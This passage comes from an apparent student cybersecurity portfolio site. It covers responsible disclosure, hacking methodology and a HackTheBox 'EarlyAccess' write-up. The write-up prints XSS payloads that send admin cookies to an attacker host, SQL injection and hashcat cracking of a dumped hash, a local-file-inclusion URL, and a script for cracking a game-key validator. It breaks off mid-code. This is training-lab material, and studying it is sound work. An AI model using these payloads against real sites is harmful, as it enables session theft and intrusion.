href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash 